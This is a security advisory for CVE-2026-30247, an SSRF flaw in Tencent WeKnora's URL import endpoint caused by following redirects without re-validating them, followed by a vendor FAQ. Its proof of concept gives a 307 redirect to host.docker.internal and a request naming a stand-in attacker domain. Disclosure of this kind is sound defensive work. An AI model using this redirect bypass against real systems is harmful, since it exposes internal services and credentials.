CVE-2026-30247

The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked.

Details

The /api/v1/knowledge-bases/{id}/knowledge/url endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:

1. Submit a URL to an attacker-controlled domain (passes validation)
2. Have that domain respond with a 307 redirect to an internal service
3. The backend automatically follows the redirect without checking if the destination is restricted
4. The internal service response is exposed to the attacker

Validation Gaps

• The IsSSRFSafeURL() function (in internal/utils/security.go) validates the initial URL thoroughly, but there's no validation of HTTP redirect targets
• host.docker.internal is not in the restrictedHostnames list
• Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked
• The code validates parsed.Hostname() from the initial URL, but redirect Location headers bypass this check

Root Cause Analysis

The backend makes the security mistake of trusting the server's HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.

PoC

Step 1: Set up an attacker-controlled server that responds with a redirect:

HTTP/1.1 307 Temporary Redirect
Location: http://host.docker.internal:7777
Content-Type: text/html
Access-Control-Allow-Origin: *

Step 2: Send the request with a clean URL:

POST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <valid_token>

{"url":"https://attacker-domain.com","tag_id":""}

The URL https://attacker-domain.com passes all validation checks because:
✓ Valid https:// scheme
✓ Not an IP address (it's a domain)
✓ Not in restricted hostnames
✓ Doesn't resolve to a private IP (assuming attacker controls a public domain)

Step 3: The backend's HTTP client follows the redirect to http://host.docker.internal:7777, which:
✗ Is not validated
✗ host.docker.internal is not in the blocklist
✗ Successfully accesses the internal service

Vulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect

Who is Impacted:

• The organization running the application
• Internal services and databases accessible from the application container
• Services in the Docker network (other containers, internal infrastructure)
• Sensitive data stored in internal services

Potential Consequences:

• Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker
• Information disclosure from internal services (Redis cache, configuration servers)
• Access to Docker container metadata and environment variables
• Lateral movement to other containers in the same Docker network
• Exfiltration of sensitive configuration, API keys, or database credentials
• Potential RCE if internal services have exploitable vulnerabilities

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-30247 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.2.12); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-30247? CVE-2026-30247 is a medium-severity server-side request forgery (SSRF) vulnerability in github.com/Tencent/WeKnora (go), affecting versions <= 0.2.11. It is fixed in 0.2.12. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-30247? CVE-2026-30247 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/Tencent/WeKnora are affected by CVE-2026-30247? github.com/Tencent/WeKnora (go) versions <= 0.2.11 is affected.
4. Is there a fix for CVE-2026-30247? Yes. CVE-2026-30247 is fixed in 0.2.12. Upgrade to this version or later.
5. Is CVE-2026-30247 exploitable, and should I be worried? Whether CVE-2026-30247 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-30247 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-30247? Upgrade github.com/Tencent/WeKnora to 0.2.12 or later.